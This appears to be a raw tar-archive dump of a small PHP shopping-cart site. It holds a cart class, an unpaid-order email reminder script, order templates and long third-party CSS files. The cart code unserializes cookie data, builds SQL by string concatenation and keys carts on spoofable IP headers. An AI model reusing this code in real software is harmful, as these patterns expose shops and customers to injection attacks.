$'.$v['price'].' -'.$v['count'].'+ '.(int)(100-($disprice*100)).'% $'.$v['price']*$v['count'] * $disprice.' '; //$html .="\r\n"; $htmlc .=$v['name'].",Qty:".$v['count'].",Price".$v['price'].",Discount".$disprice.",SubTotal:$".$v['money']*$disprice.";"; } } }else{ $html .=''; $html .='no product in shopping cart
  [Continue Shopping]  '; $html .="\r\n"; } ?> Shopping Cart

Shopping Cart

*/?>
    Product Name Unit Price   Qty   Discount Subtotal
Remove item Carrera Black Dial Calibre 16 Link Tag Heuer Watch-tag139

Carrera Black Dial Calibre 16 Link Tag Heuer Watch-tag139

$146.00 0% $146.00

Discount Codes

*/?>
Grand Total $146.00
Subtotal $
  Loading...
  Loading...
cheapuggsales.uk.com/cart_new/0000777000000000000000000000000011647262755015407 5ustar rootrootcheapuggsales.uk.com/cart_new/cart.class.php0000777000000000000000000001444611634073674020165 0ustar rootrootdata[$id]) { $cart->data[$id]['count'] += $count; $cart->data[$id]['money'] += $cart->data[$id]['price'] * $count; // 添加商品 } else { $cart->data[$id]['name'] = $name; $cart->data[$id]['price'] = $price; $cart->data[$id]['count'] = $count; $cart->data[$id]['money'] = $price * $count; } // 保存购物车数据 $cart->save(); ============================================================ 编辑一个商品数量 ============================================================ // 引用类 require_once './cart.class.php'; // 建立类实例 $cart = new cart(); // 商品已经存在 修改数据 if ($cart->data[$id]) { $cart->data[$id]['count'] = $count; $cart->data[$id]['money'] = $cart->data[$id]['price'] * $count; // 保存购物车数据 $cart->save(); } ============================================================ 删除一个商品 ============================================================ // 引用类 require_once './cart.class.php'; // 建立类实例 $cart = new cart(); // 删除商品 unset($cart->data[$id]); // 保存购物车数据 $cart->save(); ============================================================ 列表购物车 ============================================================ // 引用类 require_once './cart.class.php'; // 建立类实例 $cart = new cart(); foreach ($cart->data AS $k => $v) { echo '商品 ID: '.$k; echo '商品名称: '.$v['name']; echo '商品单价: '.$v['price']; echo '商品数量: '.$v['count']; echo '商品总价: '.$v['money']; } ============================================================ 某字段总累计 --- 如所有商品总价格 ============================================================ // 引用类 require_once './cart.class.php'; // 建立类实例 $cart = new cart(); // 累计 money 字段 $cart->sum('money') ============================================================ 清空购物车 ============================================================ // 引用类 require_once './cart.class.php'; // 建立类实例 $cart = new cart(); // 清除数据 unset($cart->data); // 保存购物车数据 $cart->save(); ============================================================ */ class cart { // 购物车标识 var $cartname = ''; // 存储类型 var $savetype = ''; // 购物车中商品数据 var $data = array(); // Cookie 数据 var $cookietime = 0; var $cookiepath = '/'; var $cookiedomain = ''; var $getip=''; // 构造函数 (购物车标识, $session_id, 存储类型(session或cookie), 默认是一天时间, $cookiepath, $cookiedomain) function cart($cartname = "FrCart_", $session_id = '', $savetype = 'session', $cookietime = 86400, $cookiepath = '/', $cookiedomain = '') { if (@$_SERVER['HTTP_CLIENT_IP'] && $_SERVER['HTTP_CLIENT_IP']!='unknown') { $getip = $_SERVER['HTTP_CLIENT_IP']; } elseif (@$_SERVER['HTTP_X_FORWARDED_FOR'] && $_SERVER['HTTP_X_FORWARDED_FOR']!='unknown') { $getip = $_SERVER['HTTP_X_FORWARDED_FOR']; } else { $getip = str_replace(".","_",$_SERVER['REMOTE_ADDR']); } $cartname = $cartname.$getip; $cartname = str_replace(" ","",$cartname); $cartname = str_replace("=","",$cartname); $cartname = str_replace(",","",$cartname); $cartname = str_replace(";","",$cartname); $cartname = str_replace("\t","",$cartname); $cartname = str_replace("\r","",$cartname); $cartname = str_replace("\n","",$cartname); $cartname = str_replace("\013","",$cartname); $cartname = str_replace("\014","",$cartname); //=,;\t\r\n\013\014 // 采用 session 存储 if ($savetype == 'session') { if (@!$session_id && @$_COOKIE[$cartname.'_session_id']) { session_id($_COOKIE[$cartname.'_session_id']); } elseif($session_id) session_id($session_id); session_start(); if (@!$session_id && @!$_COOKIE[$cartname.'_session_id']) setcookie($cartname.'_session_id', session_id(), $cookietime + time(), $cookiepath, $cookiedomain); } $this->cartname = $cartname; $this->savetype = $savetype; $this->cookietime = $cookietime; $this->cookiepath = $cookiepath; $this->cookiedomain = $cookiedomain; $this->readdata(); } // 读取数据 function readdata() { if ($this->savetype == 'session') { if ($_SESSION[$this->cartname] && is_array($_SESSION[$this->cartname])) $this->data = $_SESSION[$this->cartname]; else $this->data = array(); } elseif ($this->savetype == 'cookie') { if ($_COOKIE[$this->cartname]) $this->data = unserialize($_COOKIE[$this->cartname]); else $this->data = array(); } } // 保存购物车数据 function save() { if ($this->savetype == 'session') { $_SESSION[$this->cartname] = $this->data; } elseif ($this->savetype == 'cookie') { if ($this->data) setcookie($this->cartname, serialize($this->data), $this->cookietime + time(), $this->cookiepath, $this->cookiedomain); } } // 返回商品某字段累加 function sum($field) { $sum = 0; if ($this->data) { foreach ($this->data AS $k=>$v) { if ($v[$field] && $k!='otherdata') $sum += $v[$field] + 0; } } return $sum; } function getip(){ if (@$_SERVER['HTTP_CLIENT_IP'] && $_SERVER['HTTP_CLIENT_IP']!='unknown') { $getIp = $_SERVER['HTTP_CLIENT_IP']; } elseif (@$_SERVER['HTTP_X_FORWARDED_FOR'] && $_SERVER['HTTP_X_FORWARDED_FOR']!='unknown') { $getIp = $_SERVER['HTTP_X_FORWARDED_FOR']; } else { $getIp = $_SERVER['REMOTE_ADDR']; } return $getIp; } } ?>cheapuggsales.uk.com/cart_new/autopaymentreminder.php0000777000000000000000000000240211634073672022207 0ustar rootrootfetchAll($sql); if($rs) { foreach($rs as $order) { //die($order['orderid']); $nopayment=file_get_contents('nopayment.txt'); $ordertxt=file("orders/".$order['orderid'].".txt"); $orderarr=array(); foreach($ordertxt as $v) { $d=explode(':',trim($v)); $i=1; while($i$v) { if(substr($k,0,9)=='products[' && substr($k,-5)=='_purl') { $purls.=substr($v,0,5)=='http:'?$v:'http://'.DOMAIN.'/'.ltrim($v,'/'); $purls.="\n"; } } $nopayment=str_replace('{var_productsurl}',$purls,$nopayment); if(sendmail($order['email'],'Non-payment orders:'.$order['orderid'],nl2br($nopayment))) { //记录提醒次数和时间 $sql="update orders set lastalert=".time().",alerts=alerts+1 where orderid='".$order['orderid']."'"; $cart_db->exec($sql); } } } ?>cheapuggsales.uk.com/cart_new/success.txt0000777000000000000000000000043511634073747017622 0ustar rootrootDear friend, Congratulations. you have finished your order successfully. Please confirm your order and address below: Your order: {var_orderid} {var_productsurl} Your address: {var_shppingaddress} Is it right? If so, we will ship them without any worry. Yours Sincerely,cheapuggsales.uk.com/cart_new/return.html0000777000000000000000000000303211634073746017611 0ustar rootroot Checkout Return

Payment return information

dear customers, your order(ID:"{var_orderid}") was submitted succeffully,and we have sent you an email to inform the order status,please check your email.
if there is no any information in your inbox, please try to find the email in the trash one, the system may sent it as junk mails.

Click here to continue shopping.

cheapuggsales.uk.com/cart_new/css/0000777000000000000000000000000011633550313016160 5ustar rootrootcheapuggsales.uk.com/cart_new/css/styles-ie.css0000777000000000000000000001014411634073433020617 0ustar rootroot/** * Magento * * NOTICE OF LICENSE * * This source file is subject to the Academic Free License (AFL 3.0) * that is bundled with this package in the file LICENSE_AFL.txt. * It is also available through the world-wide-web at this URL: * http://opensource.org/licenses/afl-3.0.php * If you did not receive a copy of the license and are unable to * obtain it through the world-wide-web, please send an email * to license@magentocommerce.com so we can send you a copy immediately. * * DISCLAIMER * * Do not edit or add to this file if you wish to upgrade Magento to newer * versions in the future. If you wish to customize Magento for your * needs please refer to http://www.magentocommerce.com for more information. * * @category design * @package default_default * @copyright Copyright (c) 2010 Magento Inc. (http://www.magentocommerce.com) * @license http://opensource.org/licenses/afl-3.0.php Academic Free License (AFL 3.0) */ /* IE 6 only */ * html .validation-advice { height:13px; } * html .error-msg, * html .success-msg, * html .note-msg, * html .notice-msg { height:24px; } * html .main { height:400px; } * html .account-login .content { height:240px; } .block li.item, .block-poll li, .opc li.section { vertical-align:top; } /* Doubled Margin Fixes */ .product-view .product-img-box .more-views li, .product-view .box-tags .form-add .input-box, .sp-methods select.month { display:inline; } /********** < Navigation styles */ #nav li, #nav li a { zoom:1; } #nav li { vertical-align:top; } /********** < Navigation styles */ select { margin-bottom:1px; } input.radio { width:13px; height:13px; } input.checkbox { width:13px; height:13px; } button.button { height:21px; } button.button span { position:relative; } button.btn-checkout { height:40px; } #opc-review .sp-methods .input-box { float:left; } .form-list label { position:relative; z-index:0; } .form-list label.required em { position:absolute; top:0; right:-8px; } table { scrollbar-face-color:expression(runtimeStyle.scrollbarFaceColor = '#fff', cellSpacing = 0); } .product-view .product-img-box .zoom.disabled { filter:alpha(opacity=30); } .gift-messages-form { position:relative; zoom:1; } .tool-tip .btn-close a { margin:0; } .product-view .box-tags .product-tags li, .footer li { padding:0 4px 0 7px; } .product-options dd .time-picker select { margin:0; padding:0; } /* Clearer */ .clearer { display:block; clear:both; font-size:0; line-height:0; height:0; overflow:hidden; } /* Clears and hasLayout fixes */ .header-container, .header-container .top-container, .header, .header .quick-access, #nav, .main, .footer, .footer-container .bottom-container, .col-main, .col2-set, .col3-set, .col3-layout .product-options-bottom .price-box, .col4-set, .messages li, .search-autocomplete li, .block, .block .block-content, .block .actions, .block li.item, .block-poll li, .block-poll .label, .block-layered-nav .currently li, .block-account .block-content li a, .mini-products-list .product-details, .page-title, .rss-title h1, .products-grid, .products-list li.item, .box-account .box-head, .dashboard .box .box-title, .box-reviews li.item, .box-tags li.item, .pager, .sorter, .ratings, .add-to-box, .add-to-cart, .product-essential, .product-collateral, .product-view .product-img-box .more-views ul, .product-view .box-tags .form-add, .product-view .product-shop .short-description, .product-view .box-description, .product-options .options-list li, .product-options, .product-options-bottom, .truncated, .truncated .truncated_full_value, .product-review, .cart, .cart-collaterals, .cart .crosssell li.item, .cart .discount, .opc .step-title, .opc .step, .multiple-checkout, .sp-methods, .checkout-progress, .multiple-checkout .place-order, .form-list li, .form-list .field, .group-select li, .buttons-set, .page-print .print-head, .cart-tax-total, .advanced-search-summary, .advanced-search-summary p, .gift-messages-form .item, .send-friend .form-list li p, .centinel .authentication { zoom:1; } /* Hover Fix */ iframe.hover-fix { position:absolute; left:-1px; top:-1px; z-index:-1; background:transparent; filter:progid:DXImageTransform.Microsoft.Alpha(style=0,opacity=0); } cheapuggsales.uk.com/cart_new/css/newsletter.css0000777000000000000000000011102411634073421021071 0ustar rootroot#at16lb{display:none;position:absolute;top:0;left:0;width:100%;height:100%;z-index:1001;background-color:black;opacity:.001;}#at20mc,#at_email,#at16pib,#at16pc,#at16pi,#at_share,#at_complete,#at_success,#at_error{position:static!important;}#at20mc{position:absolute;left:0;top:0;float:none;}#at20mc a{color:#36B;}#at20mc div{float:none;}.at15dn{display:none;}.at15a{border:0;height:0;margin:0;padding:0;width:100%;width:230px;}.atnt{text-align:center!important;padding:6px 0 0 0!important;height:24px!important;}.atnt a{text-decoration:none;color:#36b;}.atnt a:hover{text-decoration:underline;}#at16recap,#at_msg,#at16p label,#at16nms,#at16sas,#at_share .at_item,#at16p,#at15s,#at16p form input,#at16p textarea{font-family:arial,helvetica,tahoma,verdana,sans-serif!important;font-size:12px!important;outline-style:none;outline-width:0;line-height:1em;}* html #at15s.mmborder{position:absolute!important;}#at15s.mmborder{position:fixed!important;}/*\*/ #at15s.mmborder{width:250px!important;}/**/ #at20mc div.at15sie6{color:#4c4c4c!important;width:256px!important;}#at15s{background:url(//s7.addthis.com/static/t00/atbkg.png);float:none!important;line-height:1em!important;margin:0!important;overflow:visible!important;padding:5px!important;text-align:left!important;position:absolute!important;}#at15s,#at16p{-moz-border-radius:4px;-webkit-border-radius:4px;border-radius:4px;}html>body #at15s{width:250px!important;}#at20mc .atm.at15satmie6{background:none!important;padding:0!important;width:150px!important;}#at15s.atm{background:none!important;padding:0!important;width:160px!important;}#at15s.atiemode2{width:252px!important;}#at15s_inner{background:#fff;border:1px solid #fff;margin:0;}#at15s_head{position:relative;background:#f2f2f2;padding:4px;cursor:default;border-bottom:1px solid #e5e5e5;}.at15s_head_success{background:#cafd99!important;border-bottom:1px solid #a9d582!important;}.at15s_head_success span,.at15s_head_success a{color:#000!important;text-decoration:none;}#at15s_brand,#at16_brand,#at15sptx{position:absolute;}#at15s_brand{top:4px;right:4px;}.at15s_brandx{right:20px!important;}a#at15sptx{top:4px;right:4px;text-decoration:none;color:#4c4c4c;font-weight:bold;}.at15sie6 a#at15sptx,#at15s.atiemode2 a#at15sptx{right:8px;}#at15sptx:hover{text-decoration:underline;}#at16_brand{top:5px;right:30px;cursor:default;}#at_hover{padding:4px;}#at_hover .at_item,#at_share .at_item{background:#fff!important;float:left!important;color:#4c4c4c!important;}#at_hover .at_bold{font-weight:bold;color:#000!important;}#at16nms,#at16sas{padding:4px 5px;}#at16nms{display:none;}#at16sas{clear:left;padding-top:16px;padding-bottom:16px;}#at_hover .at_item{width:112px!important;padding:2px 3px!important;margin:1px;}#at_hover .at_item.atiemode2{width:114px!important;}#at_hover .at_item:hover,#at_hover .at_item.athov{margin:0!important;}#at_hover .at_item:hover,#at_hover .at_item.athov,#at16ps .at_item:focus,#at_share .at_item:hover,#at_share .at_item.athov{background:#f2f2f2!important;border:1px solid #e5e5e5;color:#000!important;text-decoration:none;}* html #at_hover .at_item{border:1px solid #fff;}* html #at_hover .at_item.athov{border:1px solid #e5e5e5!important;margin:1px!important;}#at_email15{padding-top:5px;}.at15e_row{height:28px;}.at15e_row label,.at15e_row span{padding-left:10px!important;display:block!important;width:60px!important;float:left!important;}.at15e_row input,.at15e_row textarea{display:block!important;width:150px!important;float:left!important;background:#fff!important;border:1px solid #ccc!important;color:#333!important;font-size:11px!important;font-weight:normal!important;padding:0!important;}#at_email label,#at_email input,#at_email textarea{font-size:11px!important;}#at_email #at16meo{margin:15px 0 0 2px;}#at16meo span{float:left;margin-right:5px;padding-top:4px;}#at16meo a{float:left;margin:0;}#at_sending{top:130px;left:110px;position:absolute;text-align:center;}#at_sending img{padding:10px;}.at15t{display:block!important;height:16px!important;line-height:16px!important;padding-left:20px!important;background:url(//s7.addthis.com/static/r07/widget33.png) no-repeat left;background-position:0 0;cursor:pointer;text-align:left;}.addthis_button{cursor:pointer;}.addthis_toolbox.addthis_vertical_style{width:140px;}.addthis_toolbox span.addthis_follow_label{display:none;}.addthis_toolbox.addthis_vertical_style span.addthis_follow_label{display:block;}.addthis_toolbox.addthis_vertical_style a{display:block;padding-bottom:5px;}.addthis_toolbox.addthis_vertical_style.addthis_32x32_style a{line-height:32px;}.addthis_toolbox.addthis_vertical_style .at300bs{margin-right:4px;float:left;}.addthis_toolbox.addthis_default_style span{line-height:16px;}.addthis_toolbox.addthis_32x32_style span{line-height:32px;}.addthis_toolbox.addthis_pill_combo_style a,.addthis_toolbox.addthis_pill_combo_style .addthis_button_compact .at15t_compact{float:left;}.addthis_toolbox.addthis_pill_combo_style a.addthis_button_tweet{margin-top:-2px;}.addthis_toolbox.addthis_pill_combo_style .addthis_button_compact .at15t_compact{margin-right:4px;}.addthis_default_style .addthis_separator{margin:0 5px;display:inline;}div.atclear{clear:both;}.addthis_default_style .addthis_separator,.addthis_default_style .at300b,.addthis_default_style .at300m,.addthis_default_style .at300bs{float:left;}.at300b img{border:0;}.addthis_default_style .at300b,.addthis_default_style .at300m{padding:0 2px;}.at300b,.at300m,.at300bs{cursor:pointer;}.at300b:hover{opacity:.8;}.at300bs:hover{opacity:.8;}.addthis_32x32_style .at300bs,.addthis_32x32_style .at15t{background:url(//s7.addthis.com/static/r07/widget33_32x32_top.png) no-repeat left;overflow:hidden;display:block;background-position:0 0;height:32px;width:32px;line-height:32px!important;}.at300bs{background:url(//s7.addthis.com/static/r07/widget33.png) no-repeat left;overflow:hidden;display:block;background-position:0 0;height:16px;width:16px;line-height:16px!important;}.addthis_32x32_style .at15t_010-blank{background-position:0 -0px;}.addthis_32x32_style .at15t_blogger{background-position:0 -32px;}.addthis_32x32_style .at15t_compact{background-position:0 -64px;}.addthis_32x32_style .at15t_delicious{background-position:0 -96px;}.addthis_32x32_style .at15t_digg{background-position:0 -128px;}.addthis_32x32_style .at15t_email{background-position:0 -160px;}.addthis_32x32_style .at15t_expanded{background-position:0 -192px;}.addthis_32x32_style .at15t_facebook{background-position:0 -224px;}.addthis_32x32_style .at15t_favorites{background-position:0 -256px;}.addthis_32x32_style .at15t_gmail{background-position:0 -288px;}.addthis_32x32_style .at15t_google{background-position:0 -320px;}.addthis_32x32_style .at15t_googlebuzz{background-position:0 -352px;}.addthis_32x32_style .at15t_linkedin{background-position:0 -384px;}.addthis_32x32_style .at15t_live{background-position:0 -416px;}.addthis_32x32_style .at15t_mymailru{background-position:0 -448px;}.addthis_32x32_style .at15t_myspace{background-position:0 -480px;}.addthis_32x32_style .at15t_orkut{background-position:0 -512px;}.addthis_32x32_style .at15t_print{background-position:0 -544px;}.addthis_32x32_style .at15t_reddit{background-position:0 -576px;}.addthis_32x32_style .at15t_stumbleupon{background-position:0 -608px;}.addthis_32x32_style .at15t_twitter{background-position:0 -640px;}.addthis_32x32_style .at15t_vk{background-position:0 -672px;}.addthis_32x32_style .at15t_yahoomail{background-position:0 -704px;}.at15t_000{background-position:0 -0px;}.at15t_100zakladok{background-position:0 -16px;}.at15t_2linkme{background-position:0 -32px;}.at15t_2tag{background-position:0 -48px;}.at15t_7live7{background-position:0 -64px;}.at15t_a1webmarks{background-position:0 -80px;}.at15t_a97abi{background-position:0 -96px;}.at15t_addio{background-position:0 -112px;}.at15t_addressbar{background-position:0 -128px;}.at15t_addthis-uwerk{background-position:0 -144px;}.at15t_addthis{background-position:0 -160px;}.at15t_adfty{background-position:0 -176px;}.at15t_adifni{background-position:0 -192px;}.at15t_aerosocial{background-position:0 -208px;}.at15t_aim{background-position:0 -224px;}.at15t_allmyfaves{background-position:0 -240px;}.at15t_amazonwishlist{background-position:0 -256px;}.at15t_amenme{background-position:0 -272px;}.at15t_aolmail{background-position:0 -288px;}.at15t_armenix{background-position:0 -304px;}.at15t_arto{background-position:0 -320px;}.at15t_aviary{background-position:0 -336px;}.at15t_baang{background-position:0 -352px;}.at15t_baidu{background-position:0 -368px;}.at15t_bebo{background-position:0 -384px;}.at15t_bentio{background-position:0 -400px;}.at15t_biggerpockets{background-position:0 -416px;}.at15t_bitly{background-position:0 -432px;}.at15t_bizsugar{background-position:0 -448px;}.at15t_bleetbox{background-position:0 -464px;}.at15t_blinklist{background-position:0 -480px;}.at15t_blip{background-position:0 -496px;}.at15t_blogger{background-position:0 -512px;}.at15t_bloggy{background-position:0 -528px;}.at15t_blogmarks{background-position:0 -544px;}.at15t_blogtrottr{background-position:0 -560px;}.at15t_blurpalicious{background-position:0 -576px;}.at15t_bobrdobr{background-position:0 -592px;}.at15t_bonzobox{background-position:0 -608px;}.at15t_bookmarkycz{background-position:0 -624px;}.at15t_bookmerkende{background-position:0 -640px;}.at15t_bordom{background-position:0 -656px;}.at15t_box{background-position:0 -672px;}.at15t_brainify{background-position:0 -688px;}.at15t_bryderi{background-position:0 -704px;}.at15t_buddymarks{background-position:0 -720px;}.at15t_buzzzy{background-position:0 -736px;}.at15t_camyoo{background-position:0 -752px;}.at15t_cardthis{background-position:0 -768px;}.at15t_care2{background-position:0 -784px;}.at15t_chiq{background-position:0 -800px;}.at15t_cirip{background-position:0 -816px;}.at15t_citeulike{background-position:0 -832px;}.at15t_classicalplace{background-position:0 -848px;}.at15t_clply{background-position:0 -864px;}.at15t_cndig{background-position:0 -880px;}.at15t_colivia{background-position:0 -896px;}.at15t_connotea{background-position:0 -912px;}.at15t_cootopia{background-position:0 -928px;}.at15t_cosmiq{background-position:0 -944px;}.at15t_curateus{background-position:0 -960px;}.at15t_dashboard{background-position:0 -976px;}.at15t_delicious{background-position:0 -992px;}.at15t_designbump{background-position:0 -1008px;}.at15t_designmoo{background-position:0 -1024px;}.at15t_digaculturanet{background-position:0 -1040px;}.at15t_digg{background-position:0 -1056px;}.at15t_diggita{background-position:0 -1072px;}.at15t_diggtiger{background-position:0 -1088px;}.at15t_diglog{background-position:0 -1104px;}.at15t_digo{background-position:0 -1120px;}.at15t_digthiswebhost{background-position:0 -1136px;}.at15t_digzign{background-position:0 -1152px;}.at15t_diigo{background-position:0 -1168px;}.at15t_dipdive{background-position:0 -1184px;}.at15t_domaintoolswhois{background-position:0 -1200px;}.at15t_domelhor{background-position:0 -1216px;}.at15t_dosti{background-position:0 -1232px;}.at15t_dotnetkicks{background-position:0 -1248px;}.at15t_dotnetshoutout{background-position:0 -1264px;}.at15t_douban{background-position:0 -1280px;}.at15t_draugiem{background-position:0 -1296px;}.at15t_drimio{background-position:0 -1312px;}.at15t_dropjack{background-position:0 -1328px;}.at15t_dwellicious{background-position:0 -1344px;}.at15t_dzone{background-position:0 -1360px;}.at15t_edelight{background-position:0 -1376px;}.at15t_efactor{background-position:0 -1392px;}.at15t_ekudos{background-position:0 -1408px;}.at15t_elefantapl{background-position:0 -1424px;}.at15t_email{background-position:0 -1440px;}.at15t_embarkons{background-position:0 -1456px;}.at15t_eucliquei{background-position:0 -1472px;}.at15t_evernote{background-position:0 -1488px;}.at15t_extraplay{background-position:0 -1504px;}.at15t_ezyspot{background-position:0 -1520px;}.at15t_fabulously40{background-position:0 -1536px;}.at15t_facebook{background-position:0 -1552px;}.at15t_facebook_like{background-position:0 -1568px;}.at15t_fark{background-position:0 -1584px;}.at15t_farkinda{background-position:0 -1600px;}.at15t_fashiolista{background-position:0 -1616px;}.at15t_fashionburner{background-position:0 -1632px;}.at15t_favable{background-position:0 -1648px;}.at15t_faves{background-position:0 -1664px;}.at15t_favicon{background-position:0 -1680px;}.at15t_favlogde{background-position:0 -1696px;}.at15t_favoritende{background-position:0 -1712px;}.at15t_favorites{background-position:0 -1728px;}.at15t_favoritus{background-position:0 -1744px;}.at15t_flaker{background-position:0 -1760px;}.at15t_flickr{background-position:0 -1776px;}.at15t_flosspro{background-position:0 -1792px;}.at15t_folkd{background-position:0 -1808px;}.at15t_forceindya{background-position:0 -1824px;}.at15t_formspring{background-position:0 -1840px;}.at15t_fresqui{background-position:0 -1856px;}.at15t_friendfeed{background-position:0 -1872px;}.at15t_friendster{background-position:0 -1888px;}.at15t_funp{background-position:0 -1904px;}.at15t_fwisp{background-position:0 -1920px;}.at15t_gabbr{background-position:0 -1936px;}.at15t_gamekicker{background-position:0 -1952px;}.at15t_givealink{background-position:0 -1968px;}.at15t_globalgrind{background-position:0 -1984px;}.at15t_gluvsnap{background-position:0 -2000px;}.at15t_gmail{background-position:0 -2016px;}.at15t_goodnoows{background-position:0 -2032px;}.at15t_google{background-position:0 -2048px;}.at15t_google_plusone{background-position:0 -2064px;}.at15t_googlebuzz{background-position:0 -2080px;}.at15t_googlereader{background-position:0 -2096px;}.at15t_googletranslate{background-position:0 -2112px;}.at15t_govn{background-position:0 -2128px;}.at15t_gravee{background-position:0 -2144px;}.at15t_greaterdebater{background-position:0 -2160px;}.at15t_grono{background-position:0 -2176px;}.at15t_habergentr{background-position:0 -2192px;}.at15t_hackernews{background-position:0 -2208px;}.at15t_hadashhot{background-position:0 -2224px;}.at15t_hatena{background-position:0 -2240px;}.at15t_hazarkor{background-position:0 -2256px;}.at15t_hedgehogs{background-position:0 -2272px;}.at15t_hellotxt{background-position:0 -2288px;}.at15t_hi5{background-position:0 -2304px;}.at15t_historious{background-position:0 -2320px;}.at15t_hitmarks{background-position:0 -2336px;}.at15t_hotbookmark{background-position:0 -2352px;}.at15t_hotklix{background-position:0 -2368px;}.at15t_hotmail{background-position:0 -2384px;}.at15t_hyves{background-position:0 -2400px;}.at15t_idearef{background-position:0 -2416px;}.at15t_identica{background-position:0 -2432px;}.at15t_igoogle{background-position:0 -2448px;}.at15t_ihavegot{background-position:0 -2464px;}.at15t_index4{background-position:0 -2480px;}.at15t_indexor{background-position:0 -2496px;}.at15t_informazione{background-position:0 -2512px;}.at15t_instapaper{background-position:0 -2528px;}.at15t_investorlinks{background-position:0 -2544px;}.at15t_iorbix{background-position:0 -2560px;}.at15t_isociety{background-position:0 -2576px;}.at15t_iwiw{background-position:0 -2592px;}.at15t_jamespot{background-position:0 -2608px;}.at15t_jappy{background-position:0 -2624px;}.at15t_jisko{background-position:0 -2640px;}.at15t_joliprint{background-position:0 -2656px;}.at15t_jumptags{background-position:0 -2672px;}.at15t_kaboodle{background-position:0 -2688px;}.at15t_kaevur{background-position:0 -2704px;}.at15t_kaixin{background-position:0 -2720px;}.at15t_kindleit{background-position:0 -2736px;}.at15t_kipup{background-position:0 -2752px;}.at15t_kirtsy{background-position:0 -2768px;}.at15t_kledy{background-position:0 -2784px;}.at15t_kommenting{background-position:0 -2800px;}.at15t_laaikit{background-position:0 -2816px;}.at15t_ladenzeile{background-position:0 -2832px;}.at15t_latafaneracat{background-position:0 -2848px;}.at15t_librerio{background-position:0 -2864px;}.at15t_linkagogo{background-position:0 -2880px;}.at15t_linkedin{background-position:0 -2896px;}.at15t_linkninja{background-position:0 -2912px;}.at15t_linksgutter{background-position:0 -2928px;}.at15t_linkshares{background-position:0 -2944px;}.at15t_linksnapr{background-position:0 -2960px;}.at15t_linkstore{background-position:0 -2976px;}.at15t_linkuj{background-position:0 -2992px;}.at15t_live{background-position:0 -3008px;}.at15t_livejournal{background-position:0 -3024px;}.at15t_lockerblogger{background-position:0 -3040px;}.at15t_logger24{background-position:0 -3056px;}.at15t_mailto{background-position:0 -3072px;}.at15t_markme{background-position:0 -3088px;}.at15t_mashbord{background-position:0 -3104px;}.at15t_mawindo{background-position:0 -3120px;}.at15t_me2day{background-position:0 -3136px;}.at15t_meinvz{background-position:0 -3152px;}.at15t_mekusharim{background-position:0 -3168px;}.at15t_memonic{background-position:0 -3184px;}.at15t_memori{background-position:0 -3200px;}.at15t_meneame{background-position:0 -3216px;}.at15t_menu{background-position:0 -3232px;}.at15t_mindbodygreen{background-position:0 -3248px;}.at15t_misterwong{background-position:0 -3264px;}.at15t_misterwong_de{background-position:0 -3280px;}.at15t_misterwong_ru{background-position:0 -3296px;}.at15t_moemesto{background-position:0 -3312px;}.at15t_moikrug{background-position:0 -3328px;}.at15t_more{background-position:0 -3344px;}.at15t_mototagz{background-position:0 -3360px;}.at15t_mrcnetworkit{background-position:0 -3376px;}.at15t_mssocialbookmarks{background-position:0 -3392px;}.at15t_multiply{background-position:0 -3408px;}.at15t_myaol{background-position:0 -3424px;}.at15t_myhayastan{background-position:0 -3440px;}.at15t_mylinkvault{background-position:0 -3456px;}.at15t_mymailru{background-position:0 -3472px;}.at15t_mynasa{background-position:0 -3488px;}.at15t_myspace{background-position:0 -3504px;}.at15t_myyearbook{background-position:0 -3520px;}.at15t_n4g{background-position:0 -3536px;}.at15t_naszaklasa{background-position:0 -3552px;}.at15t_netlog{background-position:0 -3568px;}.at15t_netvibes{background-position:0 -3584px;}.at15t_netvouz{background-position:0 -3600px;}.at15t_newsmeback{background-position:0 -3616px;}.at15t_newstrust{background-position:0 -3632px;}.at15t_newsvine{background-position:0 -3648px;}.at15t_nujij{background-position:0 -3664px;}.at15t_odnoklassniki_ru{background-position:0 -3680px;}.at15t_oknotizie{background-position:0 -3696px;}.at15t_olddogg{background-position:0 -3712px;}.at15t_oneview{background-position:0 -3728px;}.at15t_ongobee{background-position:0 -3744px;}.at15t_orkut{background-position:0 -3760px;}.at15t_oyyla{background-position:0 -3776px;}.at15t_packg{background-position:0 -3792px;}.at15t_pafnetde{background-position:0 -3808px;}.at15t_pdfmyurl{background-position:0 -3824px;}.at15t_pdfonline{background-position:0 -3840px;}.at15t_phonefavs{background-position:0 -3856px;}.at15t_pingfm{background-position:0 -3872px;}.at15t_planypus{background-position:0 -3888px;}.at15t_plaxo{background-position:0 -3904px;}.at15t_plurk{background-position:0 -3920px;}.at15t_pochvalcz{background-position:0 -3936px;}.at15t_popedition{background-position:0 -3952px;}.at15t_posteezy{background-position:0 -3968px;}.at15t_posterous{background-position:0 -3984px;}.at15t_pratiba{background-position:0 -4000px;}.at15t_print{background-position:0 -4016px;}.at15t_printfriendly{background-position:0 -4032px;}.at15t_pusha{background-position:0 -4048px;}.at15t_qrfin{background-position:0 -4064px;}.at15t_quantcast{background-position:0 -4080px;}.at15t_qzone{background-position:0 -4096px;}.at15t_readitlater{background-position:0 -4112px;}.at15t_reddit{background-position:0 -4128px;}.at15t_rediff{background-position:0 -4144px;}.at15t_redkum{background-position:0 -4160px;}.at15t_ridefix{background-position:0 -4176px;}.at15t_rss{background-position:0 -4192px;}.at15t_scoopat{background-position:0 -4208px;}.at15t_scoopit{background-position:0 -4224px;}.at15t_sekoman{background-position:0 -4240px;}.at15t_select2gether{background-position:0 -4256px;}.at15t_shaveh{background-position:0 -4272px;}.at15t_shetoldme{background-position:0 -4288px;}.at15t_shirintar{background-position:0 -4304px;}.at15t_simpy{background-position:0 -4320px;}.at15t_sinaweibo{background-position:0 -4336px;}.at15t_slashdot{background-position:0 -4352px;}.at15t_smiru{background-position:0 -4368px;}.at15t_socialbookmarkingnet{background-position:0 -4384px;}.at15t_sodahead{background-position:0 -4400px;}.at15t_sonico{background-position:0 -4416px;}.at15t_speedtile{background-position:0 -4432px;}.at15t_sphinn{background-position:0 -4448px;}.at15t_spinsnap{background-position:0 -4464px;}.at15t_spokentoyou{background-position:0 -4480px;}.at15t_sportpost{background-position:0 -4496px;}.at15t_springpad{background-position:0 -4512px;}.at15t_squidoo{background-position:0 -4528px;}.at15t_startaid{background-position:0 -4544px;}.at15t_startlap{background-position:0 -4560px;}.at15t_storyfollower{background-position:0 -4576px;}.at15t_studivz{background-position:0 -4592px;}.at15t_stuffpit{background-position:0 -4608px;}.at15t_stumbleupon{background-position:0 -4624px;}.at15t_stumpedia{background-position:0 -4640px;}.at15t_stylehive{background-position:0 -4656px;}.at15t_stylishhome{background-position:0 -4672px;}.at15t_svejo{background-position:0 